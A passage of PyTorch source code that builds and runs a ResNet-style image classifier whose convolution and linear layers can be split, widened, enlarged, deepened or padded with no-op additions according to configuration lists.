int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[29] == 3: self.conv29_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[29] == 4: self.conv29_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv29_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv29 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv29 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[29] == 1: self.conv29_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[29] == 1: self.conv29_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn29 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[29] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[29] / 4) * 4) if self.widen_list[30] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[30] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[30] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[30]) params[3] = params[3] + 2* int(self.kerneladd_list[30]) params[6] = params[6] + int(self.kerneladd_list[30]) params[7] = params[7] + int(self.kerneladd_list[30]) if self.decompo_list != None: if self.decompo_list[30] == 1: self.conv30_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[30] == 2: self.conv30_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[30] == 3: self.conv30_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[30] == 4: self.conv30_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv30_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv30 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv30 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[30] == 1: self.conv30_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[30] == 1: self.conv30_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn30 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[30] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[30] / 4) * 4) if self.widen_list[31] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[31] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[31] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[31]) params[3] = params[3] + 2* int(self.kerneladd_list[31]) params[6] = params[6] + int(self.kerneladd_list[31]) params[7] = params[7] + int(self.kerneladd_list[31]) if self.decompo_list != None: if self.decompo_list[31] == 1: self.conv31_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[31] == 2: self.conv31_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[31] == 3: self.conv31_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[31] == 4: self.conv31_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv31_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv31 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv31 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[31] == 1: self.conv31_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[31] == 1: self.conv31_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn31 = torch.nn.BatchNorm2d(params[1]) params = [64, 64, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[31] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[31] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[32] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[32]) params[3] = params[3] + 2* int(self.kerneladd_list[32]) params[6] = params[6] + int(self.kerneladd_list[32]) params[7] = params[7] + int(self.kerneladd_list[32]) if self.decompo_list != None: if self.decompo_list[32] == 1: self.conv32_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[32] == 2: self.conv32_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[32] == 3: self.conv32_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[32] == 4: self.conv32_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv32_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv32 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv32 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[32] == 1: self.conv32_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[32] == 1: self.conv32_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn32 = torch.nn.BatchNorm2d(params[1]) params = [64, 10] if self.widen_list != None: pass if self.decompo_list != None: if self.decompo_list[33] == 1: self.classifier_0 = torch.nn.Linear(params[0], int(params[1]/2)) self.classifier_1 = torch.nn.Linear(params[0], int(params[1]/2)) elif self.decompo_list[33] == 3: self.classifier_0 = torch.nn.Linear(int(params[0]/2), params[1]) self.classifier_1 = torch.nn.Linear(int(params[0]/2), params[1]) elif self.decompo_list[33] == 4: self.classifier_0 = torch.nn.Linear(int(params[0]/4), params[1]) self.classifier_1 = torch.nn.Linear(int(params[0]/4), params[1]) self.classifier_2 = torch.nn.Linear(int(params[0]/4), params[1]) self.classifier_3 = torch.nn.Linear(int(params[0]/4), params[1]) else: self.classifier = torch.nn.Linear(params[0], params[1]) else: self.classifier = torch.nn.Linear(params[0], params[1]) if self.deepen_list != None: if self.deepen_list[33] == 1: self.classifier_dp = torch.nn.Linear(params[1], params[1]) if self.skipcon_list != None: if self.skipcon_list[33] == 1: self.classifier_sk = torch.nn.Linear(params[1], params[1]) self.reset_parameters(input_features) def reset_parameters(self, input_features): stdv = 1.0 / math.sqrt(input_features) for weight in self.parameters(): weight.data.uniform_(-stdv, +stdv) def forward(self, X1): if self.reshape: X1 = X1.reshape(-1, 3, 32, 32) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[0] == 1: X1_0 = self.conv0_0(X1) X1_1 = self.conv0_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[0] == 2: X1_0 = self.conv0_0(X1) X1_1 = self.conv0_1(X1) X1_2 = self.conv0_2(X1) X1_3 = self.conv0_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) else: X1 = self.conv0(X1) else: X1 = self.conv0(X1) if self.dummy_list != None: if self.dummy_list[0] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[0]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn0(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[0] == 1: X1 = self.conv0_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[0] == 1: X1_skip = X1 X1 = self.conv0_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[1] == 1: X1_0 = self.conv1_0(X1) X1_1 = self.conv1_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[1] == 2: X1_0 = self.conv1_0(X1) X1_1 = self.conv1_1(X1) X1_2 = self.conv1_2(X1) X1_3 = self.conv1_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[1] == 3: X1_0 = self.conv1_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv1_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[1] == 4: X1_0 = self.conv1_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv1_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv1_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv1_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv1(X1) else: X1 = self.conv1(X1) if self.dummy_list != None: if self.dummy_list[1] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[1]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn1(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[1] == 1: X1 = self.conv1_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[1] == 1: X1_skip = X1 X1 = self.conv1_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[2] == 1: X1_0 = self.conv2_0(X1) X1_1 = self.conv2_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[2] == 2: X1_0 = self.conv2_0(X1) X1_1 = self.conv2_1(X1) X1_2 = self.conv2_2(X1) X1_3 = self.conv2_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[2] == 3: X1_0 = self.conv2_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv2_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[2] == 4: X1_0 = self.conv2_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv2_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv2_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv2_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv2(X1) else: X1 = self.conv2(X1) if self.dummy_list != None: if self.dummy_list[2] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[2]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn2(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[2] == 1: X1 = self.conv2_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[2] == 1: X1_skip = X1 X1 = self.conv2_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[3] == 1: X1_0 = self.conv3_0(X1) X1_1 = self.conv3_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[3] == 2: X1_0 = self.conv3_0(X1) X1_1 = self.conv3_1(X1) X1_2 = self.conv3_2(X1) X1_3 = self.conv3_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[3] == 3: X1_0 = self.conv3_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv3_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[3] == 4: X1_0 = self.conv3_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv3_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv3_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv3_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv3(X1) else: X1 = self.conv3(X1) if self.dummy_list != None: if self.dummy_list[3] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[3]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn3(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[3] == 1: X1 = self.conv3_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[3] == 1: X1_skip = X1 X1 = self.conv3_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[4] == 1: X1_0 = self.conv4_0(X1) X1_1 = self.conv4_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[4] == 2: X1_0 = self.conv4_0(X1) X1_1 = self.conv4_1(X1) X1_2 = self.conv4_2(X1) X1_3 = self.conv4_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[4] == 3: X1_0 = self.conv4_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv4_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[4] == 4: X1_0 = self.conv4_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv4_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv4_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv4_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv4(X1) else: X1 = self.conv4(X1) if self.dummy_list != None: if self.dummy_list[4] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[4]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn4(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[4] == 1: X1 = self.conv4_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[4] == 1: X1_skip = X1 X1 = self.conv4_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[5] == 1: X1_0 = self.conv5_0(X1) X1_1 = self.conv5_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[5] == 2: X1_0 = self.conv5_0(X1) X1_1 = self.conv5_1(X1) X1_2 = self.conv5_2(X1) X1_3 = self.conv5_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[5] == 3: X1_0 = self.conv5_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv5_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[5] == 4: X1_0 = self.conv5_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv5_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv5_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv5_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv5(X1) else: X1 = self.conv5(X1) if self.dummy_list != None: if self.dummy_list[5] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[5]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn5(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[5] == 1: X1 = self.conv5_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[5] == 1: X1_skip = X1 X1 = self.conv5_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[6] == 1: X1_0 = self.conv6_0(X1) X1_1 = self.conv6_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[6] == 2: X1_0 = self.conv6_0(X1) X1_1 = self.conv6_1(X1) X1_2 = self.conv6_2(X1) X1_3 = self.conv6_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[6] == 3: X1_0 = self.conv6_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv6_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[6] == 4: X1_0 = self.conv6_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv6_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv6_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv6_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv6(X1) else: X1 = self.conv6(X1) if self.dummy_list != None: if self.dummy_list[6] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[6]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn6(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[6] == 1: X1 = self.conv6_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[6] == 1: X1_skip = X1 X1 = self.conv6_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[7] == 1: X1_0 = self.conv7_0(X1) X1_1 = self.conv7_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[7] == 2: X1_0 = self.conv7_0(X1) X1_1 = self.conv7_1(X1) X1_2 = self.conv7_2(X1) X1_3 = self.conv7_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[7] == 3: X1_0 = self.conv7_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv7_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[7] == 4: X1_0 = self.conv7_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv7_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv7_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv7_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv7(X1) else: X1 = self.conv7(X1) if self.dummy_list != None: if self.dummy_list[7] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[7]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn7(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[7] == 1: X1 = self.conv7_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[7] == 1: X1_skip = X1 X1 = self.conv7_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[8] == 1: X1_0 = self.conv8_0(X1) X1_1 = self.conv8_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[8] == 2: X1_0 = self.conv8_0(X1) X1_1 = self.conv8_1(X1) X1_2 = self.conv8_2(X1) X1_3 = self.conv8_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[8] == 3: X1_0 = self.conv8_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv8_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[8] == 4: X1_0 = self.conv8_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv8_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv8_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv8_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv8(X1) else: X1 = self.conv8(X1) if self.dummy_list != None: if self.dummy_list[8] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[8]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn8(X1) X1 += X0_skip if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[8] == 1: X1 = self.conv8_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[8] == 1: X1_skip = X1 X1 = self.conv8_sk(X1) X1 = self.relu(X1 + X1_skip) X0_skip = X1 X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[9] == 1: X1_0 = self.conv9_0(X1) X1_1 = self.conv9_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[9] == 2: X1_0 = self.conv9_0(X1) X1_1 = self.conv9_1(X1) X1_2 = self.conv9_2(X1) X1_3 = self.conv9_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[9] == 3: X1_0 = self.conv9_0(X1[:, :int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_1 = self.conv9_1(X1[:, int(torch.floor_divide(X1_shape[1],2)):, :, :]) X1 = torch.add(X1_0, X1_1) elif self.decompo_list[9] == 4: X1_0 = self.conv9_0(X1[:, :int(torch.floor_divide(X1_shape[1],4)), :, :]) X1_1 = self.conv9_1(X1[:, int(torch.floor_divide(X1_shape[1],4)):int(torch.floor_divide(X1_shape[1],2)), :, :]) X1_2 = self.conv9_2(X1[:, int(torch.floor_divide(X1_shape[1],2)):int(3*torch.floor_divide(X1_shape[1],4)), :, :]) X1_3 = self.conv9_3(X1[:, int(3*torch.floor_divide(X1_shape[1],4)):, :, :]) X1 = X1_0 + X1_1 + X1_2 + X1_3 else: X1 = self.conv9(X1) else: X1 = self.conv9(X1) if self.dummy_list != None: if self.dummy_list[9] > 0: dummy = np.zeros(X1.size()).astype("float32") for i in range(self.dummy_list[9]): X1 = torch.add(X1, torch.tensor(dummy, device = cuda_device)) X1 = self.conv_bn9(X1) if True: X1 = self.relu(X1) if self.deepen_list != None: if self.deepen_list[9] == 1: X1 = self.conv9_dp(X1) X1 = self.relu(X1) if self.skipcon_list != None: if self.skipcon_list[9] == 1: X1_skip = X1 X1 = self.conv9_sk(X1) X1 = self.relu(X1 + X1_skip) X1_shape = X1.size() if self.decompo_list != None: if self.decompo_list[10] == 1: X1_0 = self.conv10_0(X1) X1_1 = self.conv10_1(X1) X1 = torch.cat((X1_0, X1_1), 1) elif self.decompo_list[10] == 2: X1_0 = self.conv10_0(X1) X1_1 = self.conv10_1(X1) X1_2 = self.conv10_2(X1) X1_3 = self.conv10_3(X1) X1 = torch.cat([X1_0, X1_1, X1_2, X1_3], 1) elif self.decompo_list[10] == 3: X1_0 = 